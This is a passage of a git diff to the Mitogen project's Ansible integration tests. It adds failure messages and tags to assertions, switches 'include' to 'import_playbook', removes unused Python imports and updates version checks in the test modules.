"out.results[0].input[0].ANSIBLE_MODULE_ARGS.foo" - "out.results[0].msg == 'Here is my input'" + fail_msg: out={{out}} # Verify sys.argv is not Unicode. - custom_python_detect_environment: @@ -26,3 +27,6 @@ - assert: that: - out.argv_types_correct + fail_msg: out={{out}} + tags: + - custom_python_new_style_module diff --git a/tests/ansible/integration/runner/custom_python_prehistoric_module.yml b/tests/ansible/integration/runner/custom_python_prehistoric_module.yml index 458f3d2b..4ddec8c5 100644 --- a/tests/ansible/integration/runner/custom_python_prehistoric_module.yml +++ b/tests/ansible/integration/runner/custom_python_prehistoric_module.yml @@ -7,4 +7,8 @@ - custom_python_prehistoric_module: register: out - - assert: that=out.ok + - assert: + that: out.ok + fail_msg: out={{out}} + tags: + - custom_python_prehistoric_module diff --git a/tests/ansible/integration/runner/custom_python_want_json_module.yml b/tests/ansible/integration/runner/custom_python_want_json_module.yml index f6d8c355..d704ee11 100644 --- a/tests/ansible/integration/runner/custom_python_want_json_module.yml +++ b/tests/ansible/integration/runner/custom_python_want_json_module.yml @@ -13,3 +13,6 @@ (not out.results[0].changed) and out.results[0].input[0].foo and out.results[0].msg == 'Here is my input' + fail_msg: out={{out}} + tags: + - custom_python_want_json_module diff --git a/tests/ansible/integration/runner/custom_script_interpreter.yml b/tests/ansible/integration/runner/custom_script_interpreter.yml index 4c6b3ef5..03ea6718 100644 --- a/tests/ansible/integration/runner/custom_script_interpreter.yml +++ b/tests/ansible/integration/runner/custom_script_interpreter.yml @@ -15,4 +15,6 @@ (not out.changed) and (not out.results[0].changed) and out.results[0].msg == 'Here is my input' - + fail_msg: out={{out}} + tags: + - custom_script_interpreter diff --git a/tests/ansible/integration/runner/environment_isolation.yml b/tests/ansible/integration/runner/environment_isolation.yml index 08f0924f..90110d01 100644 --- a/tests/ansible/integration/runner/environment_isolation.yml +++ b/tests/ansible/integration/runner/environment_isolation.yml @@ -16,6 +16,7 @@ register: out - assert: that: not out.env.evil_key is defined + fail_msg: out={{out}} - shell: echo 'hi' environment: @@ -26,6 +27,7 @@ register: out - assert: that: not out.env.evil_key is defined + fail_msg: out={{out}} # --- @@ -37,6 +39,7 @@ register: out - assert: that: not out.env.evil_key is defined + fail_msg: out={{out}} - custom_python_modify_environ: key: evil_key @@ -47,4 +50,6 @@ register: out - assert: that: not out.env.evil_key is defined - + fail_msg: out={{out}} + tags: + - environment_isolation diff --git a/tests/ansible/integration/runner/etc_environment.yml b/tests/ansible/integration/runner/etc_environment.yml index df15bbdb..3a44c753 100644 --- a/tests/ansible/integration/runner/etc_environment.yml +++ b/tests/ansible/integration/runner/etc_environment.yml @@ -13,3 +13,5 @@ - include_tasks: _etc_environment_global.yml # Don't destroy laptops. when: ansible_virtualization_type == "docker" + tags: + - etc_environment diff --git a/tests/ansible/integration/runner/forking_active.yml b/tests/ansible/integration/runner/forking_active.yml index e3e63b71..6a0e322d 100644 --- a/tests/ansible/integration/runner/forking_active.yml +++ b/tests/ansible/integration/runner/forking_active.yml @@ -27,5 +27,8 @@ that: - fork_proc1.pid != sync_proc1.pid - fork_proc1.pid != fork_proc2.pid + fail_msg: fork_proc1={{fork_proc1}} sync_proc1={{sync_proc1}} fork_proc2={{fork_proc2}} when: is_mitogen + tags: + - forking_active diff --git a/tests/ansible/integration/runner/forking_correct_parent.yml b/tests/ansible/integration/runner/forking_correct_parent.yml index c70db4e3..7fe54e7b 100644 --- a/tests/ansible/integration/runner/forking_correct_parent.yml +++ b/tests/ansible/integration/runner/forking_correct_parent.yml @@ -32,12 +32,18 @@ - assert: that: - fork_proc.pid != regular_proc.pid + fail_msg: fork_proc={{fork_proc}} regular_proc={{regular_proc}} when: is_mitogen - assert: that: fork_proc.ppid != regular_proc.pid + fail_msg: fork_proc={{fork_proc}} regular_proc={{regular_proc}} when: is_mitogen and forkmode.uses_fork - assert: that: fork_proc.ppid == regular_proc.pid + fail_msg: fork_proc={{fork_proc}} regular_proc={{regular_proc}} when: is_mitogen and not forkmode.uses_fork + + tags: + - forking_correct_parent diff --git a/tests/ansible/integration/runner/forking_inactive.yml b/tests/ansible/integration/runner/forking_inactive.yml index b84cec7e..37282f82 100644 --- a/tests/ansible/integration/runner/forking_inactive.yml +++ b/tests/ansible/integration/runner/forking_inactive.yml @@ -18,6 +18,8 @@ - assert: that: - sync_proc1.pid == sync_proc2.pid + fail_msg: sync_proc1={{sync_proc1}} sync_proc2={{sync_proc2}} when: is_mitogen - + tags: + - forking_inactive diff --git a/tests/ansible/integration/runner/missing_module.yml b/tests/ansible/integration/runner/missing_module.yml index 107f5c20..676012d9 100644 --- a/tests/ansible/integration/runner/missing_module.yml +++ b/tests/ansible/integration/runner/missing_module.yml @@ -17,3 +17,7 @@ - assert: that: | 'The module missing_module was not found in configured module paths' in out.stdout + fail_msg: out={{out}} + tags: + - local + - missing_module diff --git a/tests/ansible/integration/ssh/all.yml b/tests/ansible/integration/ssh/all.yml index 28495f49..a8335ab7 100644 --- a/tests/ansible/integration/ssh/all.yml +++ b/tests/ansible/integration/ssh/all.yml @@ -1,3 +1,3 @@ -- include: config.yml -- include: timeouts.yml -- include: variables.yml +- import_playbook: config.yml +- import_playbook: timeouts.yml +- import_playbook: variables.yml diff --git a/tests/ansible/integration/ssh/config.yml b/tests/ansible/integration/ssh/config.yml index 07ad1c21..4e6748b1 100644 --- a/tests/ansible/integration/ssh/config.yml +++ b/tests/ansible/integration/ssh/config.yml @@ -17,3 +17,6 @@ out.result[0].kwargs.identity_file == ( lookup('env', 'HOME') + '/fakekey' ) + fail_msg: out={{out}} + tags: + - config diff --git a/tests/ansible/integration/ssh/timeouts.yml b/tests/ansible/integration/ssh/timeouts.yml index 92fd9307..d697905a 100644 --- a/tests/ansible/integration/ssh/timeouts.yml +++ b/tests/ansible/integration/ssh/timeouts.yml @@ -24,4 +24,7 @@ '"unreachable": true' in out.stdout - | '"msg": "Connection timed out."' in out.stdout + fail_msg: out={{out}} when: is_mitogen + tags: + - timeouts diff --git a/tests/ansible/integration/ssh/variables.yml b/tests/ansible/integration/ssh/variables.yml index 71536391..d05ac288 100644 --- a/tests/ansible/integration/ssh/variables.yml +++ b/tests/ansible/integration/ssh/variables.yml @@ -40,6 +40,7 @@ - assert: that: out.rc == 4 # unreachable + fail_msg: out={{out}} when: is_mitogen @@ -69,6 +70,7 @@ - assert: that: out.rc == 4 # unreachable + fail_msg: out={{out}} when: is_mitogen @@ -98,6 +100,7 @@ - assert: that: out.rc == 4 # unreachable + fail_msg: out={{out}} when: is_mitogen @@ -132,4 +135,5 @@ - assert: that: out.rc == 4 # unreachable + fail_msg: out={{out}} when: is_mitogen diff --git a/tests/ansible/integration/strategy/_mixed_mitogen_vanilla.yml b/tests/ansible/integration/strategy/_mixed_mitogen_vanilla.yml index 1ec76fd1..b2ae7641 100644 --- a/tests/ansible/integration/strategy/_mixed_mitogen_vanilla.yml +++ b/tests/ansible/integration/strategy/_mixed_mitogen_vanilla.yml @@ -11,11 +11,14 @@ register: out - assert: that: out.mitogen_loaded + fail_msg: out={{out}} - determine_strategy: - assert: that: strategy == 'ansible.plugins.strategy.mitogen_linear.StrategyModule' - + fail_msg: strategy={{strategy}} + tags: + - mitogen_linear - name: integration/strategy/_mixed_mitogen_vanilla.yml (linear) hosts: test-targets[0] @@ -26,11 +29,14 @@ register: out - assert: that: not out.mitogen_loaded + fail_msg: out={{out}} - determine_strategy: - assert: that: strategy == 'ansible.plugins.strategy.linear.StrategyModule' - + fail_msg: strategy={{strategy}} + tags: + - linear - name: integration/strategy/_mixed_mitogen_vanilla.yml (mitogen_linear) hosts: test-targets[0] @@ -41,7 +47,11 @@ register: out - assert: that: out.mitogen_loaded + fail_msg: out={{out}} - determine_strategy: - assert: that: strategy == 'ansible.plugins.strategy.mitogen_linear.StrategyModule' + fail_msg: strategy={{strategy}} + tags: + - mitogen_linear diff --git a/tests/ansible/integration/strategy/_mixed_vanilla_mitogen.yml b/tests/ansible/integration/strategy/_mixed_vanilla_mitogen.yml index babcab3f..e073d11a 100644 --- a/tests/ansible/integration/strategy/_mixed_vanilla_mitogen.yml +++ b/tests/ansible/integration/strategy/_mixed_vanilla_mitogen.yml @@ -10,10 +10,14 @@ register: out - assert: that: not out.mitogen_loaded + fail_msg: out={{out}} - determine_strategy: - assert: that: strategy == 'ansible.plugins.strategy.linear.StrategyModule' + fail_msg: strategy={{strategy}} + tags: + - linear - name: integration/strategy/_mixed_vanilla_mitogen.yml (mitogen_linear) hosts: test-targets[0] @@ -24,11 +28,14 @@ register: out - assert: that: out.mitogen_loaded + fail_msg: out={{out}} - determine_strategy: - assert: that: strategy == 'ansible.plugins.strategy.mitogen_linear.StrategyModule' - + fail_msg: strategy={{strategy}} + tags: + - mitogen_linear - name: integration/strategy/_mixed_vanilla_mitogen.yml (linear) hosts: test-targets[0] @@ -39,7 +46,11 @@ register: out - assert: that: not out.mitogen_loaded + fail_msg: out={{out}} - determine_strategy: - assert: that: strategy == 'ansible.plugins.strategy.linear.StrategyModule' + fail_msg: strategy={{strategy}} + tags: + - linear diff --git a/tests/ansible/integration/strategy/all.yml b/tests/ansible/integration/strategy/all.yml index b519e1bc..3304817c 100644 --- a/tests/ansible/integration/strategy/all.yml +++ b/tests/ansible/integration/strategy/all.yml @@ -1 +1 @@ -- include: mixed_vanilla_mitogen.yml +- import_playbook: mixed_vanilla_mitogen.yml diff --git a/tests/ansible/integration/strategy/mixed_vanilla_mitogen.yml b/tests/ansible/integration/strategy/mixed_vanilla_mitogen.yml index 206f80bd..0f462fea 100644 --- a/tests/ansible/integration/strategy/mixed_vanilla_mitogen.yml +++ b/tests/ansible/integration/strategy/mixed_vanilla_mitogen.yml @@ -22,3 +22,5 @@ args: chdir: ../.. register: out + tags: + - mixed_vanilla_mitogen diff --git a/tests/ansible/integration/stub_connections/all.yml b/tests/ansible/integration/stub_connections/all.yml index e1810138..a9744ab7 100644 --- a/tests/ansible/integration/stub_connections/all.yml +++ b/tests/ansible/integration/stub_connections/all.yml @@ -1,7 +1,7 @@ -- include: kubectl.yml -- include: lxc.yml -- include: lxd.yml -- include: mitogen_doas.yml -- include: mitogen_sudo.yml -- include: setns_lxc.yml -- include: setns_lxd.yml +- import_playbook: kubectl.yml +- import_playbook: lxc.yml +- import_playbook: lxd.yml +- import_playbook: mitogen_doas.yml +- import_playbook: mitogen_sudo.yml +- import_playbook: setns_lxc.yml +- import_playbook: setns_lxd.yml diff --git a/tests/ansible/integration/stub_connections/kubectl.yml b/tests/ansible/integration/stub_connections/kubectl.yml index 867a8c17..5303f7c7 100644 --- a/tests/ansible/integration/stub_connections/kubectl.yml +++ b/tests/ansible/integration/stub_connections/kubectl.yml @@ -8,7 +8,8 @@ when: not is_mitogen - meta: end_play - when: ansible_version.full < '2.5' + when: + - ansible_version.full is version('2.5', '<', strict=True) - custom_python_detect_environment: vars: @@ -20,3 +21,6 @@ - assert: that: - out.env.THIS_IS_STUB_KUBECTL == '1' + fail_msg: out={{out}} + tags: + - kubectl diff --git a/tests/ansible/integration/stub_connections/lxc.yml b/tests/ansible/integration/stub_connections/lxc.yml index 1dbe2a48..ec79cdac 100644 --- a/tests/ansible/integration/stub_connections/lxc.yml +++ b/tests/ansible/integration/stub_connections/lxc.yml @@ -17,3 +17,6 @@ - assert: that: - out.env.THIS_IS_STUB_LXC_ATTACH == '1' + fail_msg: out={{out}} + tags: + - lxc diff --git a/tests/ansible/integration/stub_connections/lxd.yml b/tests/ansible/integration/stub_connections/lxd.yml index 7839a35f..cb03232f 100644 --- a/tests/ansible/integration/stub_connections/lxd.yml +++ b/tests/ansible/integration/stub_connections/lxd.yml @@ -17,3 +17,6 @@ - assert: that: - out.env.THIS_IS_STUB_LXC == '1' + fail_msg: out={{out}} + tags: + - lxd diff --git a/tests/ansible/integration/stub_connections/mitogen_doas.yml b/tests/ansible/integration/stub_connections/mitogen_doas.yml index 5387744e..5e545935 100644 --- a/tests/ansible/integration/stub_connections/mitogen_doas.yml +++ b/tests/ansible/integration/stub_connections/mitogen_doas.yml @@ -20,3 +20,6 @@ that: - out.env.THIS_IS_STUB_DOAS == '1' - (out.env.ORIGINAL_ARGV|from_json)[1:3] == ['-u', 'someuser'] + fail_msg: out={{out}} + tags: + - mitogen_doas diff --git a/tests/ansible/integration/stub_connections/mitogen_sudo.yml b/tests/ansible/integration/stub_connections/mitogen_sudo.yml index e78afebc..36f69814 100644 --- a/tests/ansible/integration/stub_connections/mitogen_sudo.yml +++ b/tests/ansible/integration/stub_connections/mitogen_sudo.yml @@ -18,6 +18,10 @@ - assert: that: out.env.THIS_IS_STUB_SUDO == '1' + fail_msg: out={{out}} + - assert_equal: left: (out.env.ORIGINAL_ARGV|from_json)[1:9] right: ['-u', 'root', '-H', '-r', 'somerole', '-t', 'sometype', '--'] + tags: + - mitogen_sudo diff --git a/tests/ansible/integration/stub_connections/setns_lxc.yml b/tests/ansible/integration/stub_connections/setns_lxc.yml index efef3761..44717504 100644 --- a/tests/ansible/integration/stub_connections/setns_lxc.yml +++ b/tests/ansible/integration/stub_connections/setns_lxc.yml @@ -31,3 +31,6 @@ - assert: that: result.rc == 0 + fail_msg: result={{result}} + tags: + - stns_lxc diff --git a/tests/ansible/integration/stub_connections/setns_lxd.yml b/tests/ansible/integration/stub_connections/setns_lxd.yml index adee0b14..841f7805 100644 --- a/tests/ansible/integration/stub_connections/setns_lxd.yml +++ b/tests/ansible/integration/stub_connections/setns_lxd.yml @@ -31,3 +31,6 @@ - assert: that: result.rc == 0 + fail_msg: result={{result}} + tags: + - sens_lxd diff --git a/tests/ansible/integration/transport/all.yml b/tests/ansible/integration/transport/all.yml index 534534db..623ee00c 100644 --- a/tests/ansible/integration/transport/all.yml +++ b/tests/ansible/integration/transport/all.yml @@ -1,2 +1,4 @@ - include: kubectl.yml + tags: + - kubectl diff --git a/tests/ansible/integration/transport/kubectl.yml b/tests/ansible/integration/transport/kubectl.yml index d2be9ba5..4dac2d02 100644 --- a/tests/ansible/integration/transport/kubectl.yml +++ b/tests/ansible/integration/transport/kubectl.yml @@ -74,6 +74,7 @@ register: _ - assert: { that: "'Python 3' in _.stdout" } + fail_msg: _={{_}} - debug: var=_.stdout,_.stderr run_once: yes @@ -83,6 +84,7 @@ register: _ - assert: { that: "'Python 2' in _.stderr" } + fail_msg: _={{_}} - debug: var=_.stdout,_.stderr run_once: yes @@ -113,7 +115,9 @@ ansible_kubectl_container: python3 register: _ - - assert: { that: "'Python 3' in _.stdout" } + - assert: + that: "'Python 3' in _.stdout" + fail_msg: _={{_}} - debug: var=_.stdout,_.stderr run_once: yes @@ -122,7 +126,9 @@ command: python --version register: _ - - assert: { that: "'Python 2' in _.stderr" } + - assert: + that: "'Python 2' in _.stderr" + fail_msg: _={{_}} - debug: var=_.stdout,_.stderr run_once: yes diff --git a/tests/ansible/integration/transport_config/all.yml b/tests/ansible/integration/transport_config/all.yml index d4ed832f..548e7f7e 100644 --- a/tests/ansible/integration/transport_config/all.yml +++ b/tests/ansible/integration/transport_config/all.yml @@ -1,11 +1,11 @@ -- include: become_method.yml -- include: become_pass.yml -- include: become_user.yml -- include: become.yml -- include: password.yml -- include: port.yml -- include: python_path.yml -- include: remote_addr.yml -- include: remote_user.yml -- include: transport.yml -- include: transport__smart.yml +- import_playbook: become_method.yml +- import_playbook: become_pass.yml +- import_playbook: become_user.yml +- import_playbook: become.yml +- import_playbook: password.yml +- import_playbook: port.yml +- import_playbook: python_path.yml +- import_playbook: remote_addr.yml +- import_playbook: remote_user.yml +- import_playbook: transport.yml +- import_playbook: transport__smart.yml diff --git a/tests/ansible/integration/transport_config/become.yml b/tests/ansible/integration/transport_config/become.yml index baa2085e..51b698eb 100644 --- a/tests/ansible/integration/transport_config/become.yml +++ b/tests/ansible/integration/transport_config/become.yml @@ -12,6 +12,7 @@ - out.result|length == 1 - out.result[0].method == "ssh" - out.result[0].kwargs.username == "ansible-cfg-remote-user" + fail_msg: out={{out}} - hosts: tc-become-unset vars: {mitogen_via: becomeuser@tc-become-set} @@ -29,6 +30,7 @@ - out.result[2].method == "ssh" - out.result[2].kwargs.hostname == "tc-become-unset" + fail_msg: out={{out}} # Become set. @@ -46,6 +48,7 @@ - out.result[0].kwargs.username == "ansible-cfg-remote-user" - out.result[1].method == "sudo" - out.result[1].kwargs.username == "becomeuser" + fail_msg: out={{out}} - hosts: tc-become-set vars: {mitogen_via: tc-become-unset} @@ -66,3 +69,4 @@ - out.result[2].method == "sudo" - out.result[2].kwargs.username == "becomeuser" + fail_msg: out={{out}} diff --git a/tests/ansible/integration/transport_config/become_method.yml b/tests/ansible/integration/transport_config/become_method.yml index 5129e5b8..a6eac9ef 100644 --- a/tests/ansible/integration/transport_config/become_method.yml +++ b/tests/ansible/integration/transport_config/become_method.yml @@ -13,6 +13,7 @@ - out.result|length == 2 - out.result[0].method == "ssh" - out.result[1].method == "sudo" + fail_msg: out={{out}} - hosts: tc-become-method-unset vars: {mitogen_via: becomeuser@tc-become-method-su} @@ -27,6 +28,7 @@ - out.result[1].kwargs.username == "becomeuser" - out.result[2].method == "ssh" - out.result[2].kwargs.hostname == "tc-become-method-unset" + fail_msg: out={{out}} # ansible_become_method=su @@ -42,6 +44,7 @@ - out.result[0].method == "ssh" - out.result[1].method == "su" - out.result[1].kwargs.username == "becomeuser" + fail_msg: out={{out}} - hosts: tc-become-method-su vars: {mitogen_via: tc-become-method-unset} @@ -61,6 +64,7 @@ - out.result[2].method == "su" - out.result[2].kwargs.username == "becomeuser" + fail_msg: out={{out}} @@ -81,3 +85,4 @@ - out.result[2].method == "ssh" - out.result[2].kwargs.hostname == "tc-become-method-unset" + fail_msg: out={{out}} diff --git a/tests/ansible/integration/transport_config/become_pass.yml b/tests/ansible/integration/transport_config/become_pass.yml index 6a2188b1..6287e708 100644 --- a/tests/ansible/integration/transport_config/become_pass.yml +++ b/tests/ansible/integration/transport_config/become_pass.yml @@ -14,6 +14,7 @@ - out.result[0].method == "ssh" - out.result[1].method == "sudo" - out.result[1].kwargs.password == None + fail_msg: out={{out}} # Not set, unbecoming mitogen_via= - hosts: tc-become-pass-unset @@ -29,6 +30,7 @@ - out.result[1].method == "ssh" - out.result[2].method == "sudo" - out.result[2].kwargs.password == None + fail_msg: out={{out}} # Not set, becoming mitogen_via= - hosts: tc-become-pass-unset @@ -46,6 +48,7 @@ - out.result[2].method == "ssh" - out.result[3].method == "sudo" - out.result[3].kwargs.password == None + fail_msg: out={{out}} # ansible_become_password= set. @@ -60,6 +63,7 @@ - out.result[0].method == "ssh" - out.result[1].method == "sudo" - out.result[1].kwargs.password == "apassword" + fail_msg: out={{out}} # ansible_become_password=, via= @@ -78,6 +82,7 @@ - out.result[2].method == "ssh" - out.result[3].method == "sudo" - out.result[3].kwargs.password == "apassword" + fail_msg: out={{out}} # ansible_become_pass= @@ -92,6 +97,7 @@ - out.result[0].method == "ssh" - out.result[1].method == "sudo" - out.result[1].kwargs.password == "apass" + fail_msg: out={{out}} # ansible_become_pass=, via= @@ -110,6 +116,7 @@ - out.result[2].method == "ssh" - out.result[3].method == "sudo" - out.result[3].kwargs.password == "apass" + fail_msg: out={{out}} @@ -126,6 +133,7 @@ - out.result[0].method == "ssh" - out.result[1].method == "sudo" - out.result[1].kwargs.password == "c.b.a" + fail_msg: out={{out}} # both, mitogen_via @@ -141,3 +149,4 @@ - out.result[1].method == "sudo" - out.result[1].kwargs.password == "a.b.c" - out.result[2].method == "ssh" + fail_msg: out={{out}} diff --git a/tests/ansible/integration/transport_config/become_user.yml b/tests/ansible/integration/transport_config/become_user.yml index 43cbca2a..3c8397ad 100644 --- a/tests/ansible/integration/transport_config/become_user.yml +++ b/tests/ansible/integration/transport_config/become_user.yml @@ -14,6 +14,7 @@ - out.result[0].method == "ssh" - out.result[1].method == "sudo" - out.result[1].kwargs.username == "root" + fail_msg: out={{out}} # Not set, unbecoming mitogen_via= - hosts: tc-become-user-unset @@ -29,6 +30,7 @@ - out.result[1].method == "ssh" - out.result[2].method == "sudo" - out.result[2].kwargs.username == "root" + fail_msg: out={{out}} # Not set, becoming mitogen_via= - hosts: tc-become-user-unset @@ -46,6 +48,7 @@ - out.result[2].method == "ssh" - out.result[3].method == "sudo" - out.result[3].kwargs.username == "root" + fail_msg: out={{out}} # ansible_become_user= set. @@ -60,6 +63,7 @@ - out.result[0].method == "ssh" - out.result[1].method == "sudo" - out.result[1].kwargs.username == "ansi-become-user" + fail_msg: out={{out}} # ansible_become_user=, unbecoming via= @@ -80,6 +84,7 @@ - out.result[2].method == "sudo" - out.result[2].kwargs.username == "ansi-become-user" + fail_msg: out={{out}} # ansible_become_user=, becoming via= @@ -103,4 +108,5 @@ - out.result[3].method == "sudo" - out.result[3].kwargs.username == "ansi-become-user" + fail_msg: out={{out}} diff --git a/tests/ansible/integration/transport_config/port.yml b/tests/ansible/integration/transport_config/port.yml index 2781081a..6014ffae 100644 --- a/tests/ansible/integration/transport_config/port.yml +++ b/tests/ansible/integration/transport_config/port.yml @@ -12,6 +12,7 @@ - out.result|length == 1 - out.result[0].method == "ssh" - out.result[0].kwargs.port == None + fail_msg: out={{out}} # Not set, mitogen_via= - hosts: tc-port-explicit-ssh @@ -26,6 +27,7 @@ - out.result[0].kwargs.port == None - out.result[1].method == "ssh" - out.result[1].kwargs.port == 4321 + fail_msg: out={{out}} # ansible_ssh_port= - hosts: tc-port-explicit-ssh @@ -37,6 +39,7 @@ - out.result|length == 1 - out.result[0].method == "ssh" - out.result[0].kwargs.port == 4321 + fail_msg: out={{out}} - hosts: tc-port-explicit-unset vars: {mitogen_via: tc-port-explicit-ssh} @@ -50,6 +53,7 @@ - out.result[1].kwargs.port == 4321 - out.result[1].method == "ssh" - out.result[0].kwargs.port == None + fail_msg: out={{out}} # ansible_port= - hosts: tc-port-explicit-port @@ -61,6 +65,7 @@ - out.result|length == 1 - out.result[0].method == "ssh" - out.result[0].kwargs.port == 1234 + fail_msg: out={{out}} - hosts: tc-port-unset vars: {mitogen_via: tc-port-explicit-port} @@ -74,6 +79,7 @@ - out.result[0].kwargs.port == 1234 - out.result[1].method == "ssh" - out.result[1].kwargs.port == None + fail_msg: out={{out}} # both, ssh takes precedence @@ -86,6 +92,7 @@ - out.result|length == 1 - out.result[0].method == "ssh" - out.result[0].kwargs.port == 1532 + fail_msg: out={{out}} - hosts: tc-port-unset vars: {mitogen_via: tc-port-both} @@ -99,3 +106,4 @@ - out.result[0].kwargs.port == 1532 - out.result[1].method == "ssh" - out.result[1].kwargs.port == None + fail_msg: out={{out}} diff --git a/tests/ansible/lib/action/action_passthrough.py b/tests/ansible/lib/action/action_passthrough.py index 2748a932..04e95f47 100644 --- a/tests/ansible/lib/action/action_passthrough.py +++ b/tests/ansible/lib/action/action_passthrough.py @@ -1,8 +1,5 @@ - import traceback -import sys -from ansible.plugins.strategy import StrategyBase from ansible.plugins.action import ActionBase diff --git a/tests/ansible/lib/action/assert_equal.py b/tests/ansible/lib/action/assert_equal.py index 84ec7606..5923f4b5 100644 --- a/tests/ansible/lib/action/assert_equal.py +++ b/tests/ansible/lib/action/assert_equal.py @@ -7,13 +7,11 @@ __metaclass__ = type import inspect -import unittest2 +import unittest import ansible.template -from ansible.errors import AnsibleError from ansible.plugins.action import ActionBase -from ansible.module_utils.six import string_types TEMPLATE_KWARGS = {} @@ -23,7 +21,7 @@ if 'bare_deprecated' in _argspec.args: TEMPLATE_KWARGS['bare_deprecated'] = False -class TestCase(unittest2.TestCase): +class TestCase(unittest.TestCase): def runTest(self): pass diff --git a/tests/ansible/lib/action/connection_passthrough.py b/tests/ansible/lib/action/connection_passthrough.py index 1e9211e4..b639061b 100644 --- a/tests/ansible/lib/action/connection_passthrough.py +++ b/tests/ansible/lib/action/connection_passthrough.py @@ -1,8 +1,5 @@ - import traceback -import sys -from ansible.plugins.strategy import StrategyBase from ansible.plugins.action import ActionBase diff --git a/tests/ansible/lib/action/determine_strategy.py b/tests/ansible/lib/action/determine_strategy.py index b4b067c1..b76783e9 100644 --- a/tests/ansible/lib/action/determine_strategy.py +++ b/tests/ansible/lib/action/determine_strategy.py @@ -1,4 +1,3 @@ - import sys from ansible.plugins.strategy import StrategyBase diff --git a/tests/ansible/lib/action/mitogen_shutdown_all.py b/tests/ansible/lib/action/mitogen_shutdown_all.py index 59191450..14ab0656 100644 --- a/tests/ansible/lib/action/mitogen_shutdown_all.py +++ b/tests/ansible/lib/action/mitogen_shutdown_all.py @@ -5,9 +5,7 @@ required for reliable LRU tests. import ansible_mitogen.connection import ansible_mitogen.services -import mitogen.service -from ansible.plugins.strategy import StrategyBase from ansible.plugins.action import ActionBase diff --git a/tests/ansible/lib/callback/fork_histogram.py b/tests/ansible/lib/callback/fork_histogram.py index 15260cb5..de5f4712 100644 --- a/tests/ansible/lib/callback/fork_histogram.py +++ b/tests/ansible/lib/callback/fork_histogram.py @@ -1,4 +1,3 @@ - # Monkey-patch os.fork() to produce a latency histogram on run completion. # Requires 'hdrhsitograms' PyPI module. diff --git a/tests/ansible/lib/callback/nice_stdout.py b/tests/ansible/lib/callback/nice_stdout.py index 7c90a499..5345083e 100644 --- a/tests/ansible/lib/callback/nice_stdout.py +++ b/tests/ansible/lib/callback/nice_stdout.py @@ -1,7 +1,6 @@ from __future__ import unicode_literals import io import os -import sys from ansible import constants as C from ansible.module_utils import six diff --git a/tests/ansible/lib/filters/mitogen_tests.py b/tests/ansible/lib/filters/mitogen_tests.py index e7614658..a9037ccc 100644 --- a/tests/ansible/lib/filters/mitogen_tests.py +++ b/tests/ansible/lib/filters/mitogen_tests.py @@ -1,4 +1,3 @@ - from ansible.module_utils._text import to_text diff --git a/tests/ansible/lib/module_utils/external2.py b/tests/ansible/lib/module_utils/external2.py index c815dcdb..9a4a9bd9 100644 --- a/tests/ansible/lib/module_utils/external2.py +++ b/tests/ansible/lib/module_utils/external2.py @@ -1,3 +1,2 @@ - def path(): return "ansible/lib/module_utils/external2.py" diff --git a/tests/ansible/lib/module_utils/externalpkg/extmod.py b/tests/ansible/lib/module_utils/externalpkg/extmod.py index 619be5dd..a3c0f525 100644 --- a/tests/ansible/lib/module_utils/externalpkg/extmod.py +++ b/tests/ansible/lib/module_utils/externalpkg/extmod.py @@ -1,3 +1,2 @@ - def path(): return 'ansible/lib/module_utils/externalpkg/extmod.py' diff --git a/tests/ansible/lib/modules/custom_python_detect_environment.py b/tests/ansible/lib/modules/custom_python_detect_environment.py index 9f628a03..65f660a8 100644 --- a/tests/ansible/lib/modules/custom_python_detect_environment.py +++ b/tests/ansible/lib/modules/custom_python_detect_environment.py @@ -4,7 +4,6 @@ from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.basic import get_module_path -from ansible.module_utils import six import os import pwd @@ -26,7 +25,15 @@ except NameError: def main(): module = AnsibleModule(argument_spec={}) module.exit_json( - python_version=sys.version[:3], + python={ + 'version': { + 'full': '%i.%i.%i' % sys.version_info[:3], + 'info': list(sys.version_info), + 'major': sys.version_info[0], + 'minor': sys.version_info[1], + 'patch': sys.version_info[2], + }, + }, argv=sys.argv, __file__=__file__, argv_types_correct=all(type(s) is str for s in sys.argv), diff --git a/tests/ansible/lib/modules/custom_python_json_args_module.py b/tests/ansible/lib/modules/custom_python_json_args_module.py index a63ce8e6..846037ec 100755 --- a/tests/ansible/lib/modules/custom_python_json_args_module.py +++ b/tests/ansible/lib/modules/custom_python_json_args_module.py @@ -1,8 +1,6 @@ #!/usr/bin/python # I am an Ansible Python JSONARGS module. I should receive an encoding string. -import sys - json_arguments = """<>""" print("{") diff --git a/tests/ansible/lib/modules/custom_python_modify_environ.py b/tests/ansible/lib/modules/custom_python_modify_environ.py index 347bedf2..9767f855 100644 --- a/tests/ansible/lib/modules/custom_python_modify_environ.py +++ b/tests/ansible/lib/modules/custom_python_modify_environ.py @@ -5,9 +5,6 @@ from ansible.module_utils.basic import AnsibleModule import os -import pwd -import socket -import sys def main(): diff --git a/tests/ansible/lib/modules/custom_python_prehistoric_module.py b/tests/ansible/lib/modules/custom_python_prehistoric_module.py index d44f51ec..7ce15208 100644 --- a/tests/ansible/lib/modules/custom_python_prehistoric_module.py +++ b/tests/ansible/lib/modules/custom_python_prehistoric_module.py @@ -2,13 +2,6 @@ # issue #555: I'm a module that cutpastes an old hack. from ansible.module_utils.basic import AnsibleModule -from ansible.module_utils.basic import get_module_path -from ansible.module_utils import six - -import os -import pwd -import socket -import sys import sys reload(sys) diff --git a/tests/ansible/lib/modules/custom_python_run_script.py b/tests/ansible/lib/modules/custom_python_run_script.py index 31e0609f..4a6243d0 100644 --- a/tests/ansible/lib/modules/custom_python_run_script.py +++ b/tests/ansible/lib/modules/custom_python_run_script.py @@ -3,12 +3,7 @@ # parameter. from ansible.module_utils.basic import AnsibleModule -from ansible.module_utils.basic import get_module_path -from ansible.module_utils import six -import os -import pwd -import socket import sys diff --git a/tests/ansible/lib/modules/custom_python_uses_distro.py b/tests/ansible/lib/modules/custom_python_uses_distro.py index 1fc31b4e..6b3a356b 100644 --- a/tests/ansible/lib/modules/custom_python_uses_distro.py +++ b/tests/ansible/lib/modules/custom_python_uses_distro.py @@ -5,14 +5,22 @@ import ansible from ansible.module_utils.basic import AnsibleModule -if ansible.__version__ > '2.8': +def try_int(s): + try: + return int(s, 10) + except ValueError: + return s + +ansible_version = tuple(try_int(s) for s in ansible.__version__.split('.')) + +if ansible_version[:2] >= (2, 8): from ansible.module_utils import distro else: distro = None def main(): module = AnsibleModule(argument_spec={}) - if ansible.__version__ > '2.8': + if ansible_version[:2] >= (2, 8): module.exit_json(info=distro.info()) else: module.exit_json(info={'id': None}) diff --git a/tests/ansible/mitogen_ansible_playbook.py b/tests/ansible/mitogen_ansible_playbook.py index 54fd4283..30ed0493 